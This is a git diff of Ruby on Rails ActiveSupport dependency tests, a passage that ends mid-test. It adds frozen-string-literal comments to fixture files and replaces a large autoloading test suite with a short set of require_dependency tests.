index 7eff49bbfa2cd..aa22ec0b09a97 100644
--- a/activesupport/test/dependencies/conflict.rb
+++ b/activesupport/test/dependencies/conflict.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 Conflict = 1
diff --git a/activesupport/test/dependencies/cross_site_depender.rb b/activesupport/test/dependencies/cross_site_depender.rb
index fbc3b64f56ca7..3ddea7fc4bb61 100644
--- a/activesupport/test/dependencies/cross_site_depender.rb
+++ b/activesupport/test/dependencies/cross_site_depender.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class CrossSiteDepender
   CrossSiteDependency
 end
diff --git a/activesupport/test/dependencies/module_folder/lib_class.rb b/activesupport/test/dependencies/module_folder/lib_class.rb
new file mode 100644
index 0000000000000..c6b52610c1876
--- /dev/null
+++ b/activesupport/test/dependencies/module_folder/lib_class.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+ConstFromLib = 1
+
+module ModuleFolder
+  class LibClass
+  end
+end
diff --git a/activesupport/test/dependencies/mutual_one.rb b/activesupport/test/dependencies/mutual_one.rb
index 05f08f82d378e..bb48fddd4d2c4 100644
--- a/activesupport/test/dependencies/mutual_one.rb
+++ b/activesupport/test/dependencies/mutual_one.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 $mutual_dependencies_count += 1
 require_dependency "mutual_two"
 require_dependency "mutual_two.rb"
diff --git a/activesupport/test/dependencies/mutual_two.rb b/activesupport/test/dependencies/mutual_two.rb
index 1d87d334af203..ed354ed75e1c3 100644
--- a/activesupport/test/dependencies/mutual_two.rb
+++ b/activesupport/test/dependencies/mutual_two.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 $mutual_dependencies_count += 1
 require_dependency "mutual_one.rb"
 require_dependency "mutual_one"
diff --git a/activesupport/test/dependencies/raises_exception.rb b/activesupport/test/dependencies/raises_exception.rb
index 0a56680fe38e6..67bfaabb3e7fa 100644
--- a/activesupport/test/dependencies/raises_exception.rb
+++ b/activesupport/test/dependencies/raises_exception.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 $raises_exception_load_count += 1
 raise Exception, "Loading me failed, so do not add to loaded or history."
 $raises_exception_load_count += 1
diff --git a/activesupport/test/dependencies/raises_exception_without_blame_file.rb b/activesupport/test/dependencies/raises_exception_without_blame_file.rb
deleted file mode 100644
index 7c3856b1e6103..0000000000000
--- a/activesupport/test/dependencies/raises_exception_without_blame_file.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-exception = Exception.new("I am not blamable!")
-class << exception
-  undef_method(:blame_file!)
-end
-raise exception
diff --git a/activesupport/test/dependencies/requires_nonexistent0.rb b/activesupport/test/dependencies/requires_nonexistent0.rb
index 7f8a0d841972b..d09dbd2485a92 100644
--- a/activesupport/test/dependencies/requires_nonexistent0.rb
+++ b/activesupport/test/dependencies/requires_nonexistent0.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 require "RMagickDontExistDude"
diff --git a/activesupport/test/dependencies/requires_nonexistent1.rb b/activesupport/test/dependencies/requires_nonexistent1.rb
index 0055177d6708f..ce96229172b83 100644
--- a/activesupport/test/dependencies/requires_nonexistent1.rb
+++ b/activesupport/test/dependencies/requires_nonexistent1.rb
@@ -1 +1,3 @@
+# frozen_string_literal: true
+
 require_dependency "requires_nonexistent0"
diff --git a/activesupport/test/dependencies/service_one.rb b/activesupport/test/dependencies/service_one.rb
index afc3042269028..2a4a39144d5fa 100644
--- a/activesupport/test/dependencies/service_one.rb
+++ b/activesupport/test/dependencies/service_one.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 $loaded_service_one ||= 0
 $loaded_service_one += 1
 
diff --git a/activesupport/test/dependencies/service_two.rb b/activesupport/test/dependencies/service_two.rb
index aabfc3c553fcc..29cd73cbcddfd 100644
--- a/activesupport/test/dependencies/service_two.rb
+++ b/activesupport/test/dependencies/service_two.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 class ServiceTwo
 end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index e38d4e83e5825..f6e05c33e474d 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -1,7 +1,7 @@
-require "abstract_unit"
-require "pp"
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
 require "active_support/dependencies"
-require "dependencies_test_helpers"
 
 module ModuleWithMissing
   mattr_accessor :missing_count
@@ -15,1061 +15,89 @@ module ModuleWithConstant
   InheritedConstant = "Hello"
 end
 
-class DependenciesTest < ActiveSupport::TestCase
-  include DependenciesTestHelpers
-
+class RequireDependencyTest < ActiveSupport::TestCase
   setup do
     @loaded_features_copy = $LOADED_FEATURES.dup
+    ActiveSupport::Dependencies.autoload_paths.clear
+
+    @root_dir = Dir.mktmpdir
+    File.write("#{@root_dir}/x.rb", "X = :X")
+    ActiveSupport::Dependencies.autoload_paths << @root_dir
   end
 
   teardown do
-    ActiveSupport::Dependencies.clear
     $LOADED_FEATURES.replace(@loaded_features_copy)
-  end
-
-  def test_depend_on_path
-    expected = assert_raises(LoadError) do
-      Kernel.require "omgwtfbbq"
-    end
-
-    e = assert_raises(LoadError) do
-      ActiveSupport::Dependencies.depend_on "omgwtfbbq"
-    end
-    assert_equal expected.path, e.path
-  end
-
-  def test_require_dependency_accepts_an_object_which_implements_to_path
-    o = Object.new
-    def o.to_path; "dependencies/service_one"; end
-    assert_nothing_raised {
-      require_dependency o
-    }
-    assert defined?(ServiceOne)
-  ensure
-    remove_constants(:ServiceOne)
-  end
-
-  def test_tracking_loaded_files
-    with_loading do
-      require_dependency "dependencies/service_one"
-      require_dependency "dependencies/service_two"
-      assert_equal 2, ActiveSupport::Dependencies.loaded.size
-    end
-  ensure
-    remove_constants(:ServiceOne, :ServiceTwo)
-  end
-
-  def test_tracking_identical_loaded_files
-    with_loading do
-      require_dependency "dependencies/service_one"
-      require_dependency "dependencies/service_one"
-      assert_equal 1, ActiveSupport::Dependencies.loaded.size
-    end
-  ensure
-    remove_constants(:ServiceOne)
-  end
-
-  def test_missing_dependency_raises_missing_source_file
-    assert_raise(LoadError) { require_dependency("missing_service") }
-  end
-
-  def test_dependency_which_raises_exception_isnt_added_to_loaded_set
-    with_loading do
-      filename = "dependencies/raises_exception"
-      expanded = File.expand_path(filename)
-      $raises_exception_load_count = 0
-
-      5.times do |count|
-        e = assert_raise Exception, "should have loaded dependencies/raises_exception which raises an exception" do
-          require_dependency filename
-        end
-
-        assert_equal "Loading me failed, so do not add to loaded or history.", e.message
-        assert_equal count + 1, $raises_exception_load_count
-
-        assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
-        assert_not ActiveSupport::Dependencies.history.include?(expanded)
-      end
-    end
-  end
-
-  def test_dependency_which_raises_doesnt_blindly_call_blame_file!
-    with_loading do
-      filename = "dependencies/raises_exception_without_blame_file"
-      assert_raises(Exception) { require_dependency filename }
-    end
-  end
-
-  def test_warnings_should_be_enabled_on_first_load
-    with_loading "dependencies" do
-      old_warnings, ActiveSupport::Dependencies.warnings_on_first_load = ActiveSupport::Dependencies.warnings_on_first_load, true
-      filename = "check_warnings"
-      expanded = File.expand_path("#{File.dirname(__FILE__)}/dependencies/#{filename}")
-      $check_warnings_load_count = 0
-
-      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert_not ActiveSupport::Dependencies.history.include?(expanded)
-
-      silence_warnings { require_dependency filename }
-      assert_equal 1, $check_warnings_load_count
-      assert_equal true, $checked_verbose, "On first load warnings should be enabled."
-
-      assert_includes ActiveSupport::Dependencies.loaded, expanded
-      ActiveSupport::Dependencies.clear
-      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert_includes ActiveSupport::Dependencies.history, expanded
-
-      silence_warnings { require_dependency filename }
-      assert_equal 2, $check_warnings_load_count
-      assert_nil $checked_verbose, "After first load warnings should be left alone."
-
-      assert_includes ActiveSupport::Dependencies.loaded, expanded
-      ActiveSupport::Dependencies.clear
-      assert_not ActiveSupport::Dependencies.loaded.include?(expanded)
-      assert_includes ActiveSupport::Dependencies.history, expanded
-
-      enable_warnings { require_dependency filename }
-      assert_equal 3, $check_warnings_load_count
-      assert_equal true, $checked_verbose, "After first load warnings should be left alone."
-
-      assert_includes ActiveSupport::Dependencies.loaded, expanded
-      ActiveSupport::Dependencies.warnings_on_first_load = old_warnings
-    end
-  end
-
-  def test_mutual_dependencies_dont_infinite_loop
-    with_loading "dependencies" do
-      $mutual_dependencies_count = 0
-      assert_nothing_raised { require_dependency "mutual_one" }
-      assert_equal 2, $mutual_dependencies_count
-
-      ActiveSupport::Dependencies.clear
-
-      $mutual_dependencies_count = 0
-      assert_nothing_raised { require_dependency "mutual_two" }
-      assert_equal 2, $mutual_dependencies_count
-    end
-  end
-
-  def test_circular_autoloading_detection
-    with_autoloading_fixtures do
-      e = assert_raise(RuntimeError) { Circular1 }
-      assert_equal "Circular dependency detected while autoloading constant Circular1", e.message
-    end
-  end
-
-  def test_ensures_the_expected_constant_is_defined
-    with_autoloading_fixtures do
-      e = assert_raise(LoadError) { Typo }
-      assert_match %r{Unable to autoload constant Typo, expected .*/test/autoloading_fixtures/typo.rb to define it}, e.message
-    end
-  end
-
-  def test_require_dependency_does_not_assume_any_particular_constant_is_defined
-    with_autoloading_fixtures do
-      require_dependency "typo"
-      assert_equal 1, TypO
-    end
-  end
-
-  # Regression, see https://github.com/rails/rails/issues/16468.
-  def test_require_dependency_interaction_with_autoloading
-    with_autoloading_fixtures do
-      require_dependency "typo"
-      assert_equal 1, TypO
-
-      e = assert_raise(LoadError) { Typo }
-      assert_match %r{Unable to autoload constant Typo, expected .*/test/autoloading_fixtures/typo.rb to define it}, e.message
-    end
-  end
-
-  def test_module_loading
-    with_autoloading_fixtures do
-      assert_kind_of Module, A
-      assert_kind_of Class, A::B
-      assert_kind_of Class, A::C::D
-      assert_kind_of Class, A::C::EM::F
-    end
-  end
-
-  def test_non_existing_const_raises_name_error
-    with_autoloading_fixtures do
-      assert_raise(NameError) { DoesNotExist }
-      assert_raise(NameError) { NoModule::DoesNotExist }
-      assert_raise(NameError) { A::DoesNotExist }
-      assert_raise(NameError) { A::B::DoesNotExist }
-    end
-  end
-
-  def test_directories_manifest_as_modules_unless_const_defined
-    with_autoloading_fixtures do
-      assert_kind_of Module, ModuleFolder
-    end
-  ensure
-    remove_constants(:ModuleFolder)
-  end
-
-  def test_module_with_nested_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ModuleFolder::NestedClass
-    end
-  ensure
-    remove_constants(:ModuleFolder)
-  end
-
-  def test_module_with_nested_inline_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ModuleFolder::InlineClass
-    end
-  ensure
-    remove_constants(:ModuleFolder)
-  end
-
-  def test_directories_may_manifest_as_nested_classes
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder
-    end
-  ensure
-    remove_constants(:ClassFolder)
-  end
-
-  def test_class_with_nested_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder::NestedClass
-    end
-  ensure
-    remove_constants(:ClassFolder)
-  end
-
-  def test_class_with_nested_inline_class
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder::InlineClass
-    end
-  ensure
-    remove_constants(:ClassFolder)
-  end
-
-  def test_class_with_nested_inline_subclass_of_parent
-    with_autoloading_fixtures do
-      assert_kind_of Class, ClassFolder::ClassFolderSubclass
-      assert_kind_of Class, ClassFolder
-      assert_equal "indeed", ClassFolder::ClassFolderSubclass::ConstantInClassFolder
-    end
-  ensure
-    remove_constants(:ClassFolder)
-  end
-
-  def test_nested_class_can_access_sibling
-    with_autoloading_fixtures do
-      sibling = ModuleFolder::NestedClass.class_eval "NestedSibling"
-      assert defined?(ModuleFolder::NestedSibling)
-      assert_equal ModuleFolder::NestedSibling, sibling
-    end
-  ensure
-    remove_constants(:ModuleFolder)
-  end
-
-  def test_raising_discards_autoloaded_constants
-    with_autoloading_fixtures do
-      e = assert_raises(Exception) { RaisesArbitraryException }
-      assert_equal("arbitrary exception message", e.message)
-      assert_not defined?(A)
-      assert_not defined?(RaisesArbitraryException)
-    end
-  ensure
-    remove_constants(:A, :RaisesArbitraryException)
-  end
-
-  def test_throwing_discards_autoloaded_constants
-    with_autoloading_fixtures do
-      catch :t do
-        Throws
-      end
-      assert_not defined?(A)
-      assert_not defined?(Throws)
-    end
-  ensure
-    remove_constants(:A, :Throws)
-  end
-
-  def test_doesnt_break_normal_require
-    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
-    original_path = $:.dup
-    $:.push(path)
-    with_autoloading_fixtures do
-      # The _ = assignments are to prevent warnings
-      _ = RequiresConstant
-      assert defined?(RequiresConstant)
-      assert defined?(LoadedConstant)
-      ActiveSupport::Dependencies.clear
-      _ = RequiresConstant
-      assert defined?(RequiresConstant)
-      assert defined?(LoadedConstant)
-    end
-  ensure
-    remove_constants(:RequiresConstant, :LoadedConstant)
-    $:.replace(original_path)
-  end
-
-  def test_doesnt_break_normal_require_nested
-    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
-    original_path = $:.dup
-    $:.push(path)
-
-    with_autoloading_fixtures do
-      # The _ = assignments are to prevent warnings
-      _ = LoadsConstant
-      assert defined?(LoadsConstant)
-      assert defined?(LoadedConstant)
-      ActiveSupport::Dependencies.clear
-      _ = LoadsConstant
-      assert defined?(LoadsConstant)
-      assert defined?(LoadedConstant)
-    end
-  ensure
-    remove_constants(:RequiresConstant, :LoadedConstant, :LoadsConstant)
-    $:.replace(original_path)
-  end
-
-  def test_require_returns_true_when_file_not_yet_required
-    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
-    original_path = $:.dup
-    $:.push(path)
-
-    with_loading do
-      assert_equal true, require("loaded_constant")
-    end
-  ensure
-    remove_constants(:LoadedConstant)
-    $:.replace(original_path)
-  end
-
-  def test_require_returns_true_when_file_not_yet_required_even_when_no_new_constants_added
-    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
-    original_path = $:.dup
-    $:.push(path)
-
-    with_loading do
-      Object.module_eval "module LoadedConstant; end"
-      assert_equal true, require("loaded_constant")
-    end
-  ensure
-    remove_constants(:LoadedConstant)
-    $:.replace(original_path)
-  end
-
-  def test_require_returns_false_when_file_already_required
-    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
-    original_path = $:.dup
-    $:.push(path)
-
-    with_loading do
-      require "loaded_constant"
-      assert_equal false, require("loaded_constant")
-    end
-  ensure
-    remove_constants(:LoadedConstant)
-    $:.replace(original_path)
-  end
-
-  def test_require_raises_load_error_when_file_not_found
-    with_loading do
-      assert_raise(LoadError) { require "this_file_dont_exist_dude" }
-    end
-  end
+    ActiveSupport::Dependencies.autoload_paths.clear
 
-  def test_load_returns_true_when_file_found
-    path = File.expand_path("../autoloading_fixtures/load_path", __FILE__)
-    original_path = $:.dup
-    $:.push(path)
-
-    with_loading do
-      assert_equal true, load("loaded_constant.rb")
-      assert_equal true, load("loaded_constant.rb")
-    end
-  ensure
-    remove_constants(:LoadedConstant)
-    $:.replace(original_path)
+    FileUtils.rm_rf(@root_dir)
+    Object.send(:remove_const, :X) if Object.const_defined?(:X)
   end
 
-  def test_load_raises_load_error_when_file_not_found
-    with_loading do
-      assert_raise(LoadError) { load "this_file_dont_exist_dude.rb" }
-    end
+  test "require_dependency looks autoload paths up" do
+    assert require_dependency("x")
+    assert_equal :X, X
   end
 
-  # This raises only on 2.5.. (warns on ..2.4)
-  if RUBY_VERSION > "2.5"
-    def test_access_thru_and_upwards_fails
-      with_autoloading_fixtures do
-        assert_not defined?(ModuleFolder)
-        assert_raise(NameError) { ModuleFolder::Object }
-        assert_raise(NameError) { ModuleFolder::NestedClass::Object }
-      end
-    ensure
-      remove_constants(:ModuleFolder)
-    end
+  test "require_dependency looks autoload paths up (idempotent)" do
+    assert require_dependency("x")
+    assert_not require_dependency("x")
   end
 
-  def test_non_existing_const_raises_name_error_with_fully_qualified_name
-    with_autoloading_fixtures do
-      e = assert_raise(NameError) { A::DoesNotExist.nil? }
-      assert_equal "uninitialized constant A::DoesNotExist", e.message
-      assert_equal :DoesNotExist, e.name
-
-      e = assert_raise(NameError) { A::B::DoesNotExist.nil? }
-      assert_equal "uninitialized constant A::B::DoesNotExist", e.message
-      assert_equal :DoesNotExist, e.name
-    end
-  ensure
-    remove_constants(:A)
+  test "require_dependency handles absolute paths correctly" do
+    assert require_dependency("#{@root_dir}/x.rb")
+    assert_equal :X, X
   end
 
-  def test_smart_name_error_strings
-    e = assert_raise NameError do
-      Object.module_eval "ImaginaryObject"
-    end
-    assert_includes "uninitialized constant ImaginaryObject", e.message
+  test "require_dependency handles absolute paths correctly (idempotent)" do
+    assert require_dependency("#{@root_dir}/x.rb")
+    assert_not require_dependency("#{@root_dir}/x.rb")
   end
 
-  def test_loadable_constants_for_path_should_handle_empty_autoloads
-    assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path("hello")
-  end
+  test "require_dependency supports arguments that respond to to_path" do
+    x = Object.new
+    def x.to_path; "x"; end
 
-  def test_loadable_constants_for_path_should_handle_relative_paths
-    fake_root = "dependencies"
-    relative_root = File.dirname(__FILE__) + "/dependencies"
-    ["", "/"].each do |suffix|
-      with_loading fake_root + suffix do
-        assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(relative_root + "/a/b")
-      end
-    end
+    assert require_dependency(x)
+    assert_equal :X, X
   end
 
-  def test_loadable_constants_for_path_should_provide_all_results
-    fake_root = "/usr/apps/backpack"
-    with_loading fake_root, fake_root + "/lib" do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      assert_equal ["Lib::A::B", "A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + "/lib/a/b")
-    end
-  end
-
-  def test_loadable_constants_for_path_should_uniq_results
-    fake_root = "/usr/apps/backpack/lib"
-    with_loading fake_root, fake_root + "/" do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      assert_equal ["A::B"], ActiveSupport::Dependencies.loadable_constants_for_path(root + "/a/b")
-    end
-  end
+  test "require_dependency supports arguments that respond to to_path (idempotent)" do
+    x = Object.new
+    def x.to_path; "x"; end
 
-  def test_loadable_constants_with_load_path_without_trailing_slash
-    path = File.dirname(__FILE__) + "/autoloading_fixtures/class_folder/inline_class.rb"
-    with_loading "autoloading_fixtures/class/" do
-      assert_equal [], ActiveSupport::Dependencies.loadable_constants_for_path(path)
-    end
+    assert require_dependency(x)
+    assert_not require_dependency(x)
   end
 
-  def test_qualified_const_defined
-    assert ActiveSupport::Dependencies.qualified_const_defined?("Object")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::Object")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::Object::Kernel")
-    assert ActiveSupport::Dependencies.qualified_const_defined?("::ActiveSupport::TestCase")
-  end
-
-  def test_qualified_const_defined_should_not_call_const_missing
-    ModuleWithMissing.missing_count = 0
-    assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A")
-    assert_equal 0, ModuleWithMissing.missing_count
-    assert ! ActiveSupport::Dependencies.qualified_const_defined?("ModuleWithMissing::A::B")
-    assert_equal 0, ModuleWithMissing.missing_count
-  end
-
-  def test_qualified_const_defined_explodes_with_invalid_const_name
-    assert_raises(NameError) { ActiveSupport::Dependencies.qualified_const_defined?("invalid") }
-  end
-
-  def test_autoloaded?
-    with_autoloading_fixtures do
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
-
-      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ! ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
+  test "require_dependency fallback to Kernel#require" do
+    dir = Dir.mktmpdir
+    $LOAD_PATH << dir
+    File.write("#{dir}/y.rb", "Y = :Y")
 
-      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?("::ModuleFolder")
-      assert ActiveSupport::Dependencies.autoloaded?(:ModuleFolder)
-
-      # Anonymous modules aren't autoloaded.
-      assert !ActiveSupport::Dependencies.autoloaded?(Module.new)
-
-      nil_name = Module.new
-      def nil_name.name() nil end
-      assert !ActiveSupport::Dependencies.autoloaded?(nil_name)
-    end
+    assert require_dependency("y")
+    assert_equal :Y, Y
   ensure
-    remove_constants(:ModuleFolder)
+    $LOAD_PATH.pop
+    Object.send(:remove_const, :Y) if Object.const_defined?(:Y)
   end
 
-  def test_qualified_name_for
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(Object, :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for(:Object, :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("Object", :A)
-    assert_equal "A", ActiveSupport::Dependencies.qualified_name_for("::Object", :A)
-
-    assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(:'ActiveSupport::Dependencies', :A)
-    assert_equal "ActiveSupport::Dependencies::A", ActiveSupport::Dependencies.qualified_name_for(ActiveSupport::Dependencies, :A)
-  end
-
-  def test_file_search
-    with_loading "dependencies" do
-      root = ActiveSupport::Dependencies.autoload_paths.first
-      assert_nil ActiveSupport::Dependencies.search_for_file("service_three")
-      assert_nil ActiveSupport::Dependencies.search_for_file("service_three.rb")
-      assert_equal root + "/service_one.rb", ActiveSupport::Dependencies.search_for_file("service_one")
-      assert_equal root + "/service_one.rb", ActiveSupport::Dependencies.search_for_file("service_one.rb")
-    end
-  end
-
-  def test_file_search_uses_first_in_load_path
-    with_loading "dependencies", "autoloading_fixtures" do
-      deps, autoload = ActiveSupport::Dependencies.autoload_paths
-      assert_match %r/dependencies/, deps
-      assert_match %r/autoloading_fixtures/, autoload
-
-      assert_equal deps + "/conflict.rb", ActiveSupport::Dependencies.search_for_file("conflict")
-    end
-    with_loading "autoloading_fixtures", "dependencies" do
-      autoload, deps = ActiveSupport::Dependencies.autoload_paths
-      assert_match %r/dependencies/, deps
-      assert_match %r/autoloading_fixtures/, autoload
+  test "require_dependency fallback to Kernel#require (idempotent)" do
+    dir = Dir.mktmpdir
+    $LOAD_PATH << dir
+    File.write("#{dir}/y.rb", "Y = :Y")
 
-      assert_equal autoload + "/conflict.rb", ActiveSupport::Dependencies.search_for_file("conflict")
-    end
-  end
-
-  def test_custom_const_missing_should_work
-    Object.module_eval <<-end_eval, __FILE__, __LINE__ + 1
-      module ModuleWithCustomConstMissing
-        def self.const_missing(name)
-          const_set name, name.to_s.hash
-        end
-
-        module A
-        end
-      end
-    end_eval
-
-    with_autoloading_fixtures do
-      assert_kind_of Integer, ::ModuleWithCustomConstMissing::B
-      assert_kind_of Module, ::ModuleWithCustomConstMissing::A
-      assert_kind_of String, ::ModuleWithCustomConstMissing::A::B
-    end
+    assert require_dependency("y")
+    assert_not require_dependency("y")
   ensure
-    remove_constants(:ModuleWithCustomConstMissing)
+    $LOAD_PATH.pop
+    Object.send(:remove_const, :Y) if Object.const_defined?(:Y)
   end
 
-  def test_const_missing_in_anonymous_modules_loads_top_level_constants
-    with_autoloading_fixtures do
-      # class_eval STRING pushes the class to the nesting of the eval'ed code.
-      klass = Class.new.class_eval "EM"
-      assert_equal EM, klass
-    end
-  ensure
-    remove_constants(:EM)
+  test "require_dependency raises ArgumentError if the argument is not a String and does not respond to #to_path" do
+    assert_raises(ArgumentError) { require_dependency(Object.new) }
   end
 
-  def test_const_missing_in_anonymous_modules_raises_if_the_constant_belongs_to_Object
-    with_autoloading_fixtures do
-      require_dependency "em"
-
-      mod = Module.new
-      e = assert_raise(NameError) { mod::EM }
-      assert_equal "EM cannot be autoloaded from an anonymous class or module", e.message
-      assert_equal :EM, e.name
-    end
-  ensure
-    remove_constants(:EM)
-  end
-
-  def test_removal_from_tree_should_be_detected
-    with_loading "dependencies" do
-      c = ServiceOne
-      ActiveSupport::Dependencies.clear
-      assert_not defined?(ServiceOne)
-      e = assert_raise ArgumentError do
-        ActiveSupport::Dependencies.load_missing_constant(c, :FakeMissing)
-      end
-      assert_match %r{ServiceOne has been removed from the module tree}i, e.message
-    end
-  ensure
-    remove_constants(:ServiceOne)
-  end
-
-  def test_references_should_work
-    with_loading "dependencies" do
-      c = ActiveSupport::Dependencies.reference("ServiceOne")
-      service_one_first = ServiceOne
-      assert_equal service_one_first, c.get("ServiceOne")
-      ActiveSupport::Dependencies.clear
-      assert_not defined?(ServiceOne)
-      service_one_second = ServiceOne
-      assert_not_equal service_one_first, c.get("ServiceOne")
-      assert_equal service_one_second, c.get("ServiceOne")
-    end
-  ensure
-    remove_constants(:ServiceOne)
-  end
-
-  def test_constantize_shortcut_for_cached_constant_lookups
-    with_loading "dependencies" do
-      assert_equal ServiceOne, ActiveSupport::Dependencies.constantize("ServiceOne")
-    end
-  ensure
-    remove_constants(:ServiceOne)
-  end
-
-  def test_nested_load_error_isnt_rescued
-    with_loading "dependencies" do
-      assert_raise(LoadError) do
-        RequiresNonexistent1
-      end
-    end
-  end
-
-  def test_autoload_once_paths_do_not_add_to_autoloaded_constants
-    old_path = ActiveSupport::Dependencies.autoload_once_paths
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.autoload_once_paths = ActiveSupport::Dependencies.autoload_paths.dup
-
-      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
-
-      1 if ModuleFolder::NestedClass # 1 if to avoid warning
-      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
-    end
-  ensure
-    remove_constants(:ModuleFolder)
-    ActiveSupport::Dependencies.autoload_once_paths = old_path
-  end
-
-  def test_autoload_once_pathnames_do_not_add_to_autoloaded_constants
-    with_autoloading_fixtures do
-      pathnames = ActiveSupport::Dependencies.autoload_paths.collect { |p| Pathname.new(p) }
-      ActiveSupport::Dependencies.autoload_paths = pathnames
-      ActiveSupport::Dependencies.autoload_once_paths = pathnames
-
-      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder")
-      assert_not ActiveSupport::Dependencies.autoloaded?("ModuleFolder::NestedClass")
-      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder)
-
-      1 if ModuleFolder::NestedClass # 1 if to avoid warning
-      assert_not ActiveSupport::Dependencies.autoloaded?(ModuleFolder::NestedClass)
-    end
-  ensure
-    remove_constants(:ModuleFolder)
-    ActiveSupport::Dependencies.autoload_once_paths = []
-  end
-
-  def test_application_should_special_case_application_controller
-    with_autoloading_fixtures do
-      require_dependency "application"
-      assert_equal 10, ApplicationController
-      assert ActiveSupport::Dependencies.autoloaded?(:ApplicationController)
-    end
-  ensure
-    remove_constants(:ApplicationController)
-  end
-
-  def test_preexisting_constants_are_not_marked_as_autoloaded
-    with_autoloading_fixtures do
-      require_dependency "em"
-      assert ActiveSupport::Dependencies.autoloaded?(:EM)
-      ActiveSupport::Dependencies.clear
-    end
-
-    Object.const_set :EM, Class.new
-    with_autoloading_fixtures do
-      require_dependency "em"
-      assert ! ActiveSupport::Dependencies.autoloaded?(:EM), "EM shouldn't be marked autoloaded!"
-      ActiveSupport::Dependencies.clear
-    end
-  ensure
-    remove_constants(:EM)
-  end
-
-  def test_constants_in_capitalized_nesting_marked_as_autoloaded
-    with_autoloading_fixtures do
-      ActiveSupport::Dependencies.load_missing_constant(HTML, "SomeClass")
-
-      assert ActiveSupport::Dependencies.autoloaded?("HTML::SomeClass")
-    end
-  ensure
-    remove_constants(:HTML)
-  end
-
-  def test_unloadable
-    with_autoloading_fixtures do
-      Object.const_set :M, Module.new
-      M.unloadable
-
-      ActiveSupport::Dependencies.clear
-      assert ! defined?(M)
-
-      Object.const_set :M, Module.new
-      ActiveSupport::Dependencies.clear
-      assert ! defined?(M), "Dependencies should unload unloadable constants each time"
-    end
-  end
-
-  def test_unloadable_should_fail_with_anonymous_modules
-    with_autoloading_fixtures do
-      m = Module.new
-      assert_raise(ArgumentError) { m.unloadable }
-    end
-  end
-
-  def test_unloadable_should_return_change_flag
-    with_autoloading_fixtures do
-      Object.const_set :M, Module.new
-      assert_equal true, M.unloadable
-      assert_equal false, M.unloadable
-    end
-  ensure
-    remove_constants(:M)
-  end
-
-  def test_unloadable_constants_should_receive_callback
-    Object.const_set :C, Class.new { def self.before_remove_const; end }
-    C.unloadable
-    assert_called(C, :before_remove_const, times: 1) do
-      assert C.respond_to?(:before_remove_const)
-      ActiveSupport::Dependencies.clear
-      assert !defined?(C)
-    end
-  ensure
-    remove_constants(:C)
-  end
-
-  def test_new_contants_in_without_constants
-    assert_equal [], (ActiveSupport::Dependencies.new_constants_in(Object) {})
-    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
-  end
-
-  def test_new_constants_in_with_a_single_constant
-    assert_equal ["Hello"], ActiveSupport::Dependencies.new_constants_in(Object) {
-                              Object.const_set :Hello, 10
-                            }.map(&:to_s)
-    assert ActiveSupport::Dependencies.constant_watch_stack.all? { |k, v| v.empty? }
-  ensure
-    remove_constants(:Hello)
-  end
-
-  def test_new_constants_in_with_nesting
-    outer = ActiveSupport::Dependencies.new_constants_in(Object) do
-      Object.const_set :OuterBefore, 10
-
-      assert_equal ["Inner"], ActiveSupport::Dependencies.new_constants_in(Object) {
-                                Object.const_set :Inner, 20
